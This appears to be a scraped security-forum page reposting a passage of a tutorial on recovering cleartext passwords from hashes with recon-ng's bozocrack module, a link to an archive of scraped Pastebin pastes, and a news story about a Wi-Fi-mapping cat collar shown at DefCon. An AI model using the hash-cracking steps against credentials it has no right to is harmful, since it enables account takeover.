[/TR] [/TABLE] OK, so we need to set the FILENAME option (set FILENAME /root/Desktop/hashes) and also the TABLE (set TABLE credentials). Now that we have those fields entered, if we do another show info we can see that there is now another option to change. See the "CSV_####..." column in the picture below? recon-ng is telling us it found content and wants to know where to put it. So we type set CSV_[ENTERTHENUMBER] hash as shown below. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Import/csv_file module with column recognized[/TD] [/TR] [/TABLE] Now we have to go back to the bozocrack module (load bozocrack). Since we ran the module already using the SOURCE of a file, we'll need to switch from the file for the SOURCE to the default (set SOURCE default) as the default uses the contents of the DB. Oh, want to check if your hashes loaded OK? Type show credentials and you'll see the hashes in their proper column (below). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Credentials table before bozocrack[/TD] [/TR] [/TABLE] OK, let's kick this off using the run command and let 'er rip. We will see the same output from when we ran the bozocrack module above but this time the bozocrack module will store the results in the DB. To show this, just type show credentials again and you should see more of the columns filled out (like the pic below). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Credentials table after bozocrack[/TD] [/TR] [/TABLE] Yay! We got them in the DB but how to we get them out? Of course there is a module for that. Type load reporting/csv to load that module. show info will tell you what options there are. We see (below) that we need to alter the FILENAME (set FILENAME /root/Desktop/recon-ng_hashes_out) and TABLE (set TABLE credentials) and then type run. Magic! [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Using the reporting/csv output module[/TD] [/TR] [/TABLE] On your desktop should be a CSV file with your hashes, what type of hashes they are, and the cleartext passwords in it (like the one below). [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]Exported CSV report from recon-ng[/TD] [/TR] [/TABLE] Hope this was helpful! Sursa: Hacking and Hiking: "Cracking" Hashes with recon-ng and bozocrack
  23. [h=1]Pastebin Pastes Collection[/h] [h=1]This Just In (more)[/h] Pastebin.com scraped pastes 2014-07-01 57 days ago Pastebin.com scraped pastes 2014-06-30 58 days ago Pastebin.com scraped pastes 2014-06-29 59 days ago Pastebin.com scraped pastes 2014-06-28 60 days ago Pastebin.com scraped pastes 2014-06-27 61 days ago Poate gasiti ceva interesant. Sursa: https://archive.org/details/pastebinpastes
  24. [h=2]How your cat could be used to hack neighbors' Wi-Fi[/h]Wednesday - 8/13/2014, 8:50am ET By Neal Augenstein WASHINGTON -- Coco looks and acts like a cat -- and hackers could exploit that. Gene Bransfield, a principal security engineer at Tenacity Solutions, Inc., in Reston, Virginia, outfitted the Siamese cat with a custom-made collar that mapped dozens of neighbors' Wi-Fi networks. As reported in Wired, Bransfield outfitted a cat collar with a Spark Core chip loaded with his custom-coded firmware, a Wi-Fi card, a tiny GPS module, and a battery. The customized collar allowed Bransfield to map all the Wi-Fi networks in the neighborhood, which could also be done by a home intruder or a person intent on stealing a home's Wi-Fi. The project was jokingly entitled "War Kitteh," and Branfield's presentation at last weekend's DefCon hacker conference in Las Vegas was entitled "How to Weaponize Your Pets." Bransfield says his goal wasn't to create dangerous house pets, but to make users aware of privacy issues and entertain the group's hacker audience. "My intent was not to show people where to get free Wi-Fi," says Bransfield, "but the result of this cat research was that there were a lot more open and WEP- encrypted hot spots out there than there should be in 2014." [h=3]Updating an old hacking technique[/h] In the 1980s, hackers looked for unprotected computers by "wardialing" -- cycling through numbers with their modems. After the advent of Wi-Fi, "wardriving" saw hackers attaching an antenna to a car and driving through the city looking for weak and unprotected networks. Bransfield says he built the "War Kitteh" collar for less than $100, and it became easier in the past months, when the Spark Core chip became easier to program, Wired reports. Bransfield doesn't own a cat. Coco is his wife's grandmother's cat. In a three-hour walk through the neighborhood, Coco found 23 Wi-Fi hot spots, more than one-third of which were open to snoops with the simpler-to-crack WEP instead of the more modern WPA encryption. Bransfield says many of the WEP connections were Verizon FiOS routers with their default settings left unchanged. Sursa: How your cat could be used to hack neighbors' Wi-Fi - WTOP.com
×
×
  • Create New...